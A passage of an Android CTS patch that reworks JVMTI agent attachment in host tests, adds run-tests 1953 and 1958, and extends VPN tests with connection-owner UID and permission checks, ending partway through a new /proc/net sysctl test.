+    private String mHiddenApiChecksEnabled = null;
+
     private CompatibilityBuildHelper mBuildHelper;
     private IAbi mAbi;
     private int mCurrentUser;
@@ -96,17 +102,37 @@
             throw new IllegalStateException("Incorrect configuration");
         }
 
+        if (null != mHiddenApiChecksEnabled &&
+            !"false".equals(mHiddenApiChecksEnabled) &&
+            !"true".equals(mHiddenApiChecksEnabled)) {
+          throw new IllegalStateException(
+              "option hidden-api-checks must be 'true' or 'false' if present.");
+        }
+        boolean disable_hidden_api =
+            mHiddenApiChecksEnabled != null && "false".equals(mHiddenApiChecksEnabled);
+        String old_hiddenapi_setting = null;
+        if (disable_hidden_api) {
+            old_hiddenapi_setting = device.getSetting("global", "hidden_api_policy");
+            device.setSetting("global", "hidden_api_policy", "1");
+        }
+
         RemoteAndroidTestRunner runner = new RemoteAndroidTestRunner(mTestPackageName, RUNNER,
                 device.getIDevice());
         // set a max deadline limit to avoid hanging forever
         runner.setMaxTimeToOutputResponse(2, TimeUnit.MINUTES);
 
-        TestResults tr = new TestResults(new AttachAgent(device, mTestPackageName, mTestApk));
+        AttachAgent aa = new AttachAgent(device, mTestPackageName, mTestApk);
+        aa.prepare();
+        TestResults tr = new TestResults(aa);
 
         device.runInstrumentationTests(runner, tr);
 
         assertTrue(tr.getErrors(), tr.hasStarted());
         assertFalse(tr.getErrors(), tr.hasFailed());
+
+        if (disable_hidden_api) {
+            device.setSetting("global", "hidden_api_policy", old_hiddenapi_setting);
+        }
     }
 
     private String getDeviceBaseArch(ITestDevice device) throws Exception {
@@ -120,14 +146,15 @@
         private String mPkg;
         private String mApk;
 
+        private String mAgentInDataData;
+
         public AttachAgent(ITestDevice device, String pkg, String apk) {
             this.mDevice = device;
             this.mPkg = pkg;
             this.mApk = apk;
         }
 
-        @Override
-        public void run() {
+        public void prepare() {
             try {
                 String pwd = mDevice.executeShellCommand(
                         "run-as " + mPkg + " --user " + mCurrentUser + " pwd");
@@ -139,9 +166,19 @@
                     throw new RuntimeException("pwd failed");
                 }
 
-                String agentInDataData = installLibToDataData(pwd, "libctsjvmtiagent.so");
+                mAgentInDataData = installLibToDataData(pwd, "libctsjvmtiagent.so");
+            } catch (Exception e) {
+                throw new RuntimeException("Failed installing", e);
+            }
+        }
 
-                String attachCmd = "cmd activity attach-agent " + mPkg + " " + agentInDataData;
+        @Override
+        public void run() {
+            try {
+                if (mAgentInDataData == null) {
+                    throw new IllegalStateException("prepare() has not been called");
+                }
+                String attachCmd = "cmd activity attach-agent " + mPkg + " " + mAgentInDataData;
                 String attachReply = mDevice.executeShellCommand(attachCmd);
                 // Don't try to parse the output. The test will time out anyways if this didn't
                 // work.
@@ -153,7 +190,7 @@
             }
         }
 
-        String installLibToDataData(String dataData, String library) throws Exception {
+        private String installLibToDataData(String dataData, String library) throws Exception {
             ZipFile zf = null;
             File tmpFile = null;
             String libInTmp = null;
diff --git a/hostsidetests/jvmti/base/jni/tracking.cpp b/hostsidetests/jvmti/base/jni/tracking.cpp
index 425fd63..5474319 100644
--- a/hostsidetests/jvmti/base/jni/tracking.cpp
+++ b/hostsidetests/jvmti/base/jni/tracking.cpp
@@ -86,6 +86,17 @@
     std::unique_lock<std::mutex> mu(gLock);
     result.swap(gCollection);
   }
+  // Make sure we give any other threads that might have been waiting to get a last crack time to
+  // run. We will ignore their additions however.
+  bool is_empty = false;
+  do {
+    {
+      std::unique_lock<std::mutex> mu(gLock);
+      is_empty = gCollection.empty();
+      gCollection.clear();
+    }
+    sched_yield();
+  } while (!is_empty);
 
   if (result.empty()) {
     return nullptr;
diff --git a/hostsidetests/jvmti/base/run-test-based-app/Android.mk b/hostsidetests/jvmti/base/run-test-based-app/Android.mk
index f1fa480..f3883a9 100644
--- a/hostsidetests/jvmti/base/run-test-based-app/Android.mk
+++ b/hostsidetests/jvmti/base/run-test-based-app/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_SDK_VERSION := current
 LOCAL_DEX_PREOPT := false
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
 LOCAL_STATIC_JAVA_LIBRARIES += run-test-jvmti-java
 LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
index 3628877..9794ae2 100644
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -132,6 +132,8 @@
   src/1941-dispose-stress/src/art/Test1941.java \
   src/1942-suspend-raw-monitor-exit/src/art/Test1942.java \
   src/1943-suspend-raw-monitor-wait/src/art/Test1943.java \
+  src/1953-pop-frame/src/art/Test1953.java \
+  src/1958-transform-try-jit/src/art/Test1958.java \
 
 JVMTI_RUN_TEST_GENERATED_NUMBERS := \
   901 \
@@ -221,6 +223,8 @@
   1941 \
   1942 \
   1943 \
+  1953 \
+  1958 \
 
 # Try to enforce that the directories correspond to the Java files we pull in.
 JVMTI_RUN_TEST_DIR_CHECK := $(sort $(foreach DIR,$(addprefix src/,$(JVMTI_RUN_TEST_GENERATED_NUMBERS)), \
diff --git a/hostsidetests/jvmti/run-tests/test-1953/Android.mk b/hostsidetests/jvmti/run-tests/test-1953/Android.mk
new file mode 100644
index 0000000..1bcbee5
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/Android.mk
@@ -0,0 +1,21 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest1953HostTestCases
+
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml
new file mode 100644
index 0000000..9309740
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <option name="test-suite-tag" value="cts"/>
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest1953DeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest1953HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest1953DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_1953" />
+        <option name="runtime-hint" value="8s"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1953/app/Android.mk
new file mode 100644
index 0000000..53cb264
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1953DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1953/app/AndroidManifest.xml
new file mode 100644
index 0000000..d3c4495
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_1953">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1953" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_1953" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-1953/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-1953/jarjar-rules.txt
new file mode 100644
index 0000000..972a3f3
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1953/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest1953@1
diff --git a/hostsidetests/jvmti/run-tests/test-1958/Android.mk b/hostsidetests/jvmti/run-tests/test-1958/Android.mk
new file mode 100644
index 0000000..fcdd4f7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/Android.mk
@@ -0,0 +1,21 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest1958HostTestCases
+
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml
new file mode 100644
index 0000000..313ff2b
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <option name="test-suite-tag" value="cts"/>
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest1958DeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest1958HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest1958DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_1958" />
+        <option name="runtime-hint" value="8s"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1958/app/Android.mk
new file mode 100644
index 0000000..d94876f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1958DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1958/app/AndroidManifest.xml
new file mode 100644
index 0000000..12b59de
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_1958">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1958" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_1958" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-1958/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-1958/jarjar-rules.txt
new file mode 100644
index 0000000..4c7e461
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1958/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest1958@1
diff --git a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
index d13dbc9..1227f06 100644
--- a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
@@ -24,6 +24,7 @@
         <option name="jar" value="CtsJvmtiRunTest944HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest944DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_944" />
+        <option name="set-option" value="hidden-api-checks:false" />
         <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
index 174a744..5be80de 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTest/Android.mk
@@ -35,5 +35,6 @@
 
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 26
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/media/bitstreams/Android.mk b/hostsidetests/media/bitstreams/Android.mk
index 2133f39..8f161c9 100644
--- a/hostsidetests/media/bitstreams/Android.mk
+++ b/hostsidetests/media/bitstreams/Android.mk
@@ -32,6 +32,8 @@
 
 LOCAL_JAVA_RESOURCE_FILES := $(LOCAL_PATH)/DynamicConfig.xml
 
+LOCAL_REQUIRED_MODULES := cts-dynamic-config
+
 include $(BUILD_HOST_JAVA_LIBRARY)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index 1621aa7..c9e30e0a 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -16,6 +16,12 @@
 <configuration description="Config for CTS Sample host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="cts" />
+        <option name="dynamic-config-name" value="cts-dynamic-config" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="media-download-only" value="true" />
     </target_preparer>
@@ -26,6 +32,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="device" />
         <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
+        <option name="version" value="9.0_r1"/>
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
         <option name="src-dir" value="/sdcard/report-log-files/"/>
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index c03e70b..62e0172 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -19,7 +19,8 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator \
         CtsHostsideNetworkTestsAidl
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index bc982ce..48f0afb 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.net.hostside;
 
+import static android.os.Process.INVALID_UID;
 import static android.system.OsConstants.*;
 
 import android.content.Intent;
@@ -29,6 +30,7 @@
 import android.net.VpnService;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
+import android.os.SystemProperties;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -36,6 +38,7 @@
 import android.support.test.uiautomator.UiSelector;
 import android.system.ErrnoException;
 import android.system.Os;
+import android.system.OsConstants;
 import android.system.StructPollfd;
 import android.test.InstrumentationTestCase;
 import android.test.MoreAsserts;
@@ -353,7 +356,7 @@
         MoreAsserts.assertEquals(data, read);
     }
 
-    private static void checkTcpReflection(String to, String expectedFrom) throws IOException {
+    private void checkTcpReflection(String to, String expectedFrom) throws IOException {
         // Exercise TCP over the VPN by "connecting to ourselves". We open a server socket and a
         // client socket, and connect the client socket to a remote host, with the port of the
         // server socket. The PacketReflector reflects the packets, changing the source addresses
@@ -391,7 +394,8 @@
             // Accept the connection on the server side.
             listen.setSoTimeout(SOCKET_TIMEOUT_MS);
             server = listen.accept();
-
+            checkConnectionOwnerUidTcp(client);
+            checkConnectionOwnerUidTcp(server);
             // Check that the source and peer addresses are as expected.
             assertEquals(expectedFrom, client.getLocalAddress().getHostAddress());
             assertEquals(expectedFrom, server.getLocalAddress().getHostAddress());
@@ -424,7 +428,23 @@
         }
     }
 
-    private static void checkUdpEcho(String to, String expectedFrom) throws IOException {
+    private void checkConnectionOwnerUidUdp(DatagramSocket s, boolean expectSuccess) {
+        final int expectedUid = expectSuccess ? Process.myUid() : INVALID_UID;
+        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
+        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
+        int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_UDP, loc, rem);
+        assertEquals(expectedUid, uid);
+    }
+
+    private void checkConnectionOwnerUidTcp(Socket s) {
+        final int expectedUid = Process.myUid();
+        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
+        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
+        int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_TCP, loc, rem);
+        assertEquals(expectedUid, uid);
+    }
+
+    private void checkUdpEcho(String to, String expectedFrom) throws IOException {
         DatagramSocket s;
         InetAddress address = InetAddress.getByName(to);
         if (address instanceof Inet6Address) {  // http://b/18094870
@@ -448,6 +468,7 @@
         try {
             if (expectedFrom != null) {
                 s.send(p);
+                checkConnectionOwnerUidUdp(s, true);
                 s.receive(p);
                 MoreAsserts.assertEquals(data, p.getData());
             } else {
@@ -455,7 +476,9 @@
                     s.send(p);
                     s.receive(p);
                     fail("Received unexpected reply");
-                } catch(IOException expected) {}
+                } catch (IOException expected) {
+                    checkConnectionOwnerUidUdp(s, false);
+                }
             }
         } finally {
             s.close();
@@ -537,6 +560,14 @@
 
     public void testDefault() throws Exception {
         if (!supportedHardware()) return;
+        // If adb TCP port opened, this test may running by adb over network.
+        // All of socket would be destroyed in this test. So this test don't
+        // support adb over network, see b/119382723.
+        if (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
+                || SystemProperties.getInt("service.adb.tcp.port", -1) > -1) {
+            Log.i(TAG, "adb is running over the network, so skip this test");
+            return;
+        }
 
         FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
@@ -554,6 +585,7 @@
 
         FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
+        // Shell app must not be put in here or it would kill the ADB-over-network use case
         String allowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"192.0.2.0/24", "2001:db8::/32"},
@@ -571,6 +603,12 @@
         FileDescriptor remoteFd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
         String disallowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
+        // If adb TCP port opened, this test may running by adb over TCP.
+        // Add com.android.shell appllication into blacklist to exclude adb socket for VPN test,
+        // see b/119382723.
+        // Note: The test don't support running adb over network for root device
+        disallowedApps = disallowedApps + ",com.android.shell";
+        Log.i(TAG, "Append shell app to disallowedApps: " + disallowedApps);
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"192.0.2.0/24", "2001:db8::/32"},
                  "", disallowedApps);
@@ -580,4 +618,23 @@
 
         checkNoTrafficOnVpn();
     }
+
+    public void testGetConnectionOwnerUidSecurity() throws Exception {
+
+        if (!supportedHardware()) return;
+
+        DatagramSocket s;
+        InetAddress address = InetAddress.getByName("localhost");
+        s = new DatagramSocket();
+        s.setSoTimeout(SOCKET_TIMEOUT_MS);
+        s.connect(address, 7);
+        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
+        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
+        try {
+            int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_TCP, loc, rem);
+            fail("Only an active VPN app may call this API.");
+        } catch (SecurityException expected) {
+            return;
+        }
+    }
 }
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java
index 69b07af..853668c 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java
@@ -44,4 +44,8 @@
     public void testAppDisallowed() throws Exception {
         runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testAppDisallowed");
     }
+
+    public void testGetConnectionOwnerUidSecurity() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testGetConnectionOwnerUidSecurity");
+    }
 }
diff --git a/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java b/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java
new file mode 100644
index 0000000..19e61c6
--- /dev/null
+++ b/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+
+import java.lang.Integer;
+import java.lang.String;
+import java.util.Arrays;
+import java.util.List;
+import java.util.ArrayList;
+
+/**
+ * Host-side tests for values in /proc/net.
+ *
+ * These tests analyze /proc/net to verify that certain networking properties are correct.
+ */
+public class ProcNetTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+    private static final String SPI_TIMEOUT_SYSCTL = "/proc/sys/net/core/xfrm_acq_expires";
+    private static final int MIN_ACQ_EXPIRES = 3600;
+    // Global sysctls. Must be present and set to 1.
+    private static final String[] GLOBAL_SYSCTLS = {
+        "/proc/sys/net/ipv4/fwmark_reflect",
+        "/proc/sys/net/ipv6/fwmark_reflect",
+        "/proc/sys/net/ipv4/tcp_fwmark_accept",
+    };
+
+    // Per-interface IPv6 autoconf sysctls.
+    private static final String IPV6_SYSCTL_DIR = "/proc/sys/net/ipv6/conf";
+    private static final String AUTOCONF_SYSCTL = "accept_ra_rt_table";
+
+    // Expected values for MIN|MAX_PLEN.
+    private static final String ACCEPT_RA_RT_INFO_MIN_PLEN_STRING = "accept_ra_rt_info_min_plen";
+    private static final int ACCEPT_RA_RT_INFO_MIN_PLEN_VALUE = 48;
+    private static final String ACCEPT_RA_RT_INFO_MAX_PLEN_STRING = "accept_ra_rt_info_max_plen";
+    private static final int ACCEPT_RA_RT_INFO_MAX_PLEN_VALUE = 64;
+    // Expected values for RFC 7559 router soliciations.
+    // Maximum number of router solicitations to send. -1 means no limit.
+    private static final int IPV6_WIFI_ROUTER_SOLICITATIONS = -1;
+    private ITestDevice mDevice;
+    private IBuildInfo mBuild;
+    private String[] mSysctlDirs;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setBuild(IBuildInfo build) {
+        mBuild = build;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setDevice(ITestDevice device) {
+        super.setDevice(device);
+        mDevice = device;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
